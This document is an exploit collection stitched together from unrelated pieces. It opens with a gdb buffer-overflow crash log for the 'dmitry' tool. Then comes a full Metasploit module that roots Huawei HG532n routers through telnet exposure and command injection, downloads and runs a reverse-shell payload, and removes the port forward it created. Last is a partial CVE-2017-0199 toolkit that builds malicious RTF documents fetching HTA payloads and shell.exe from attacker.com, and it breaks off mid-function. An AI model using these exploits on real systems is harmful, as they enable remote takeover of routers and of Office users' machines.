(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /usr/bin/dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Deepmagic Information Gathering Tool
"There be some deep magic going on"
ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Continuing with limited modules
*** buffer overflow detected ***: /usr/bin/dmitry terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb7e5a37a]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb7eeae17]
/lib/i386-linux-gnu/libc.so.6(+0xf60b8)[0xb7ee90b8]
/lib/i386-linux-gnu/libc.so.6(+0xf56af)[0xb7ee86af]
/usr/bin/dmitry[0x8048e04]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e0b276]
/usr/bin/dmitry[0x80490a4]
======= Memory map: ========
08048000-0804f000 r-xp 00000000 08:01 7209647 /usr/bin/dmitry
0804f000-08050000 r--p 00006000 08:01 7209647 /usr/bin/dmitry
08050000-08051000 rw-p 00007000 08:01 7209647 /usr/bin/dmitry
08051000-08073000 rw-p 00000000 00:00 0 [heap]
b7d9f000-b7dbb000 r-xp 00000000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
b7dbb000-b7dbc000 r--p 0001b000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
b7dbc000-b7dbd000 rw-p 0001c000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
b7dbd000-b7dd1000 r-xp 00000000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
b7dd1000-b7dd2000 r--p 00013000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
b7dd2000-b7dd3000 rw-p 00014000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
b7dd3000-b7dd5000 rw-p 00000000 00:00 0
b7dd5000-b7dda000 r-xp 00000000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
b7dda000-b7ddb000 r--p 00004000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
b7ddb000-b7ddc000 rw-p 00005000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
b7ddc000-b7dde000 r-xp 00000000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7dde000-b7ddf000 r--p 00001000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7ddf000-b7de0000 rw-p 00002000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7de0000-b7deb000 r-xp 00000000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
b7deb000-b7dec000 r--p 0000a000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
b7dec000-b7ded000 rw-p 0000b000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
b7ded000-b7df3000 rw-p 00000000 00:00 0
b7df3000-b7fa4000 r-xp 00000000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
b7fa4000-b7fa6000 r--p 001b0000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
b7fa6000-b7fa7000 rw-p 001b2000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
b7fa7000-b7faa000 rw-p 00000000 00:00 0
b7fd4000-b7fd7000 rw-p 00000000 00:00 0
b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar]
b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
b7fff000-b8000000 rw-p 00023000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
Program received signal SIGABRT, Aborted.
0xb7fd9cf9 in __kernel_vsyscall ()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(
info,
'Name' => 'Huawei HG532n Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the Huawei
HG532n routers provided by TE-Data Egypt, leading to a root shell.
The router's web interface has two kinds of logins, a "limited" user:user
login given to all customers and an admin mode. The limited mode is used
here to expose the router's telnet port to the outside world through NAT
port-forwarding.
With telnet now remotely accessible, the router's limited "ATP command
line tool" (served over telnet) can be upgraded to a root shell through
an injection into the ATP's hidden "ping" command.
),
'Author' =>
[
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'Privileged' => true,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
},
'Targets' =>
[
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 15 2017',
'References' => [
['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245']
]
))
register_options(
[
OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
], self.class
)
end
def check
httpd_fingerprint = %r{
\A
HTTP\/1\.1\s200\sOK\r\n
CACHE-CONTROL:\sno-cache\r\n
Date:\s.*\r\n
Connection:\sKeep-Alive\r\n
Content-Type:\stext\/html\r\n
Content-Length:\s\d+\r\n
\r\n
<html>\n<head>\n
<META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
<META\shttp-equiv="Pragma"\scontent="no-cache">\n
<META\shttp-equiv="expires"\sCONTENT="-1">\n
<link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
}x
begin
res = send_request_raw(
'method' => 'GET',
'uri' => '/'
)
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Could not connect to device")
return Exploit::CheckCode::Unknown
end
if res && res.code == 200 && res.to_s =~ httpd_fingerprint
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Unknown
end
#
# The Javascript code sends all passwords in the form:
# form.setAction('/index/login.cgi');
# form.addParameter('Username', Username.value);
# form.addParameter('Password', base64encode(SHA256(Password.value)));
# Do the same base64 encoding and SHA-256 hashing here.
#
def hash_password(password)
sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
Base64.encode64(sha256).gsub(/\s+/, "")
end
#
# Without below cookies, which are also sent by the JS code, the
# server will consider even correct HTTP requests invalid
#
def generate_web_cookie(admin: false, session: nil)
if admin
cookie = 'FirstMenu=Admin_0; '
cookie << 'SecondMenu=Admin_0_0; '
cookie << 'ThirdMenu=Admin_0_0_0; '
else
cookie = 'FirstMenu=User_2; '
cookie << 'SecondMenu=User_2_1; '
cookie << 'ThirdMenu=User_2_1_0; '
end
cookie << 'Language=en'
cookie << "; #{session}" unless session.nil?
cookie
end
#
# Login to the router through its JS-based login page. Upon a successful
# login, return the keep-alive HTTP session cookie
#
def web_login
cookie = generate_web_cookie(admin: true)
# On good passwords, the router redirect us to the /html/content.asp
# homepage. Otherwise, it throws us back to the '/' login page. Thus
# consider the ASP page our valid login marker
invalid_login_marker = "var pageName = '/'"
valid_login_marker = "var pageName = '/html/content.asp'"
username = datastore['HttpUsername']
password = datastore['HttpPassword']
res = send_request_cgi(
'method' => 'POST',
'uri' => '/index/login.cgi',
'cookie' => cookie,
'vars_post' => {
'Username' => username,
'Password' => hash_password(password)
}
)
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
unless res.code == 200
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
end
return res.get_cookies if res.body.include? valid_login_marker
if res.body.include? invalid_login_marker
fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
else
fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
end
end
#
# The telnet port is filtered by default. Expose it to the outside world
# through NAT forwarding
#
def expose_telnet_port(session_cookies)
cookie = generate_web_cookie(session: session_cookies)
external_telnet_port = rand(32767) + 32768
portmapping_page = '/html/application/portmapping.asp'
valid_port_export_marker = "var pageName = '#{portmapping_page}';"
invalid_port_export_marker = /var ErrInfo = \d+/
res = send_request_cgi(
'method' => 'POST',
'uri' => '/html/application/addcfg.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
'vars_get' => {
'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
'RequestFile' => portmapping_page
},
'vars_post' => {
'x.PortMappingProtocol' => "TCP",
'x.PortMappingEnabled' => "1",
'x.RemoteHost' => "",
'x.ExternalPort' => external_telnet_port.to_s,
'x.ExternalPortEndRange' => external_telnet_port.to_s,
'x.InternalClient' => "192.168.1.1",
'x.InternalPort' => "23",
'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
}
)
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
unless res.code == 200
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
end
if res.body.include? valid_port_export_marker
print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
return external_telnet_port
end
if res.body.match? invalid_port_export_marker
fail_with(Failure::Unknown, "Router reported port-mapping error. " \
"A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
end
fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
end
#
# Cover our tracks; don't leave the exposed router's telnet port open
#
def hide_exposed_telnet_port(session_cookies)
cookie = generate_web_cookie(session: session_cookies)
portmapping_page = '/html/application/portmapping.asp'
# Gather a list of all existing ports forwarded so we can purge them soon
res = send_request_cgi(
'method' => 'GET',
'uri' => portmapping_page,
'cookie' => cookie
)
unless res && res.code == 200
print_warning "Could not get current forwarded ports from web interface"
end
# Collect existing port-forwarding keys; to be passed to the delete POST request
portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
vars_post = {}
res.body.scan(portforward_key).uniq.each do |key|
vars_post[key] = ""
end
res = send_request_cgi(
'method' => 'POST',
'uri' => '/html/application/del.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
'vars_get' => { 'RequestFile' => portmapping_page },
'vars_post' => vars_post
)
return if res && res.code == 200
print_warning "Could not re-hide exposed telnet port"
end
#
# Cleanup our state, after any successful web login. Note: router refuses
# more than 3 concurrent logins from the same IP. It also forces a 1-minute
# delay after 3 unsuccessful logins from _any_ IP.
#
def web_logout(session_cookies)
cookie = generate_web_cookie(admin: true, session: session_cookies)
res = send_request_cgi(
'method' => 'POST',
'uri' => '/index/logout.cgi',
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
)
return if res && res.code == 200
print_warning "Could not logout from web interface. Future web logins may fail!"
end
#
# Don't leave web sessions idle for too long (> 1 second). It triggers the
# HTTP server's safety mechanisms and make it refuse further operations.
#
# Thus do all desired web operations in chunks: log in, do our stuff (passed
# block), and immediately log out. The router's own javescript code handles
# this by sending a refresh request every second.
#
def web_operation
begin
cookie = web_login
yield cookie
ensure
web_logout(cookie) unless cookie.nil?
end
end
#
# Helper method. Used for waiting on telnet banners and prompts.
# Always catch the ::Timeout::Error exception upon calling this.
#
def read_until(sock, timeout, marker)
received = ''
Timeout.timeout(timeout) do
loop do
r = (sock.get_once(-1, 1) || '')
next if r.empty?
received << r
print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
return received if received.include? marker
end
end
end
#
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
#
IAC = 255.chr # "\377" # "\xff" # interpret as command
DO = 253.chr # "\375" # "\xfd" # please, you use option
OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission
OPT_ECHO = 1.chr # "\001" # "\x01" # Echo
OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead
OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition
def telnet_auth_negotiation(sock, timeout)
begin
read_until(sock, timeout, 'Password:')
sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
end
begin
read_until(sock, timeout, 'Password:') # Router bug
sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
end
end
def telnet_prompt_wait(error_regex = nil)
begin
result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
if error_regex
error_regex = [error_regex] unless error_regex.is_a? Array
error_regex.each do |regex|
if result.match? regex
fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
end
end
end
rescue ::Timeout::Error
fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
end
end
#
# Basic telnet login. Due to mixins conflict, revert to using plain
# Rex sockets (thanks @hdm!)
#
def telnet_login(port)
print_status "Connecting to just-exposed telnet port #{port}"
@telnet_prompt = 'HG520b>'
@telnet_timeout = 60
@telnet_sock = Rex::Socket.create_tcp(
'PeerHost' => rhost,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => @telnet_timeout
)
if @telnet_sock.nil?
fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
end
add_socket(@telnet_sock)
print_good "Connection succeeded. Passing telnet credentials"
telnet_auth_negotiation(@telnet_sock, @telnet_timeout)
print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
telnet_prompt_wait
print_good 'Prompt received. Telnet access fully granted!'
end
def telnet_exit
return if @telnet_sock.nil?
@telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
end
#
# Router's limited ATP shell just reverts to classical Linux
# shell when executing a ping:
#
# "ping %s > /var/res_ping"
#
# A successful injection would thus substitute all its spaces to
# ${IFS}, and trails itself with ";true" so it can have its own
# IO redirection.
#
def execute_command(command, error_regex = nil, background: false)
print_status "Running command on target: #{command}"
command.gsub!(/\s/, '${IFS}')
separator = background ? '&' : ';'
atp_cmd = "ping ?;#{command}#{separator}true"
@telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
telnet_prompt_wait(error_regex)
print_good "Command executed successfully"
end
#
# Our own HTTP server, for serving the payload
#
def start_http_server
@pl = generate_payload_exe
downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
resource_uri = '/' + downfile
if datastore['DOWNHOST']
print_status "Will not start local web server, as DOWNHOST is already defined"
else
print_status("Starting web server; hosting #{resource_uri}")
start_service(
'ServerHost' => '0.0.0.0',
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
'Path' => resource_uri
}
)
end
resource_uri
end
#
# HTTP server incoming request callback
#
def on_request_uri(cli, _request)
print_good "HTTP server received request. Sending payload to victim"
send_response(cli, @pl)
end
#
# Unfortunately we could not use the `echo' command stager since
# the router's busybox echo does not understand the necessary
# "-en" options. It outputs them to the binary instead.
#
# We could not also use the `wget' command stager, as Huawei
# crafted their own implementation with much different params.
#
def download_and_run_payload(payload_uri)
srv_host =
if datastore['DOWNHOST']
datastore['DOWNHOST']
elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
Rex::Socket.source_address(rhost)
else
datastore['SRVHOST']
end
srv_port = datastore['SRVPORT'].to_s
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
# Check module documentation for the special wget syntax
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
execute_command("chmod 700 #{output_file}", /No such file/)
execute_command(output_file, /not found/, background: true)
execute_command("rm #{output_file}", /No such file/)
end
#
# At the end of the module, especially for reverse_tcp payloads, wait for
# the payload to connect back to us. There's a very high probability we
# will lose the payload's signal otherwise.
#
def wait_for_payload_session
print_status "Waiting for the payload to connect back .."
begin
Timeout.timeout(datastore['ListenerTimeout']) do
loop do
break if session_created?
Rex.sleep(0.25)
end
end
rescue ::Timeout::Error
fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
end
print_good "Payload connected!"
end
#
# Main exploit code: login through web interface; port-forward router's
# telnet; access telnet and gain root shell through command injection.
#
def exploit
print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
unless check == Exploit::CheckCode::Appears
fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
end
print_good "Good. Router seems to be a vulnerable HG532n device"
telnet_port = nil
web_operation do |cookie|
telnet_port = expose_telnet_port(cookie)
end
begin
telnet_login(telnet_port)
payload_uri = start_http_server
download_and_run_payload(payload_uri)
wait_for_payload_session
ensure
telnet_exit
web_operation do |cookie|
hide_exposed_telnet_port(cookie)
end
end
end
end
#!/usr/bin/env python
'''
## Exploit toolkit CVE-2017-0199 - v4.0 (https://github.com/bhdresh/CVE-2017-0199) ##
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41894.zip
'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo
BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main(argv):
# Host and Port information
global port
global host
global filename
global docuri
global payloadurl
global payloadlocation
global custom
global mode
global obfuscate
global payloadtype
filename = ''
docuri = ''
payloadurl = ''
payloadlocation = ''
custom = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
payloadtype = 'rtf'
# Capture command line arguments
try:
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
except getopt.GetoptError:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Office RCE)\n"
print "Modes:\n"
print " -M gen Generate Malicious file only\n"
print " Generate malicious payload:\n"
print " -w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).\n"
print " -u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.\n"
print " For example, http://attacker.com/test.doc (This URL will be included in malicious file and\n"
print " will be requested once victim will open malicious RTF/PPSX file.\n"
print " -t RTF|PPSX (default = RTF) Type of the file to be generated.\n"
print " -x 0|1 (RTF only) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.\n"
print " -M exp Start exploitation mode\n"
print " Exploitation:\n"
print " -t RTF|PPSX (default = RTF) Type of file to be exolited.\n"
print " -H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.\n"
print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
print " -p <TCP port:Default 80> Local port number.\n"
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
print " -l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
elif opt in ("-H","--custom"):
custom = arg
elif opt in ("-x","--obfuscate"):
obfuscate = int(arg)
elif opt in ("-t","--payloadtype"):
payloadtype = arg
if "gen" in mode:
if (len(filename)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(docuri)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadtype)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if payloadtype.upper() == 'RTF':
if obfuscate == 1:
print "Generating obfuscated RTF file.\n"
generate_exploit_obfuscate_rtf()
sys.exit()
if obfuscate == 0:
print "Generating normal RTF payload.\n"
generate_exploit_rtf()
sys.exit()
sys.exit()
if payloadtype.upper() == 'PPSX':
print "Generating normal PPSX payload.\n"
generate_exploit_ppsx()
sys.exit()
if payloadtype.upper() != 'RTF' and payloadtype.upper() != 'PPSX':
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
mode = 'Finished'
if "exp" in mode:
if payloadtype.upper() == 'RTF':
if (len(custom)>1):
print "Running exploit mode (Deliver Custom HTA) - waiting for victim to connect"
exploitation_rtf()
sys.exit()
if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"
exploitation_rtf()
sys.exit()
print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"
exploitation_rtf()
mode = 'Finished'
if payloadtype.upper() == 'PPSX':
if (len(custom)>1):
print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
exploitation_ppsx()
sys.exit()
if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
exploitation_ppsx()
sys.exit()
print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
exploitation_ppsx()
mode = 'Finished'
if not "Finished" in mode:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
def generate_exploit_rtf():
# Preparing malicious RTF
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 224 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata 0105000002000000\n"
payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += uri_hex+"\n"
payload += "0105000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated "+filename+" successfully"
def generate_exploit_obfuscate_rtf():
# Preparing malicious obfuscated RTF
var1 = " "
var2 = "\r\n"
var3 = "\t"
var4 = ''.join(choice(ascii_uppercase) for i in range(randint(3,10)))
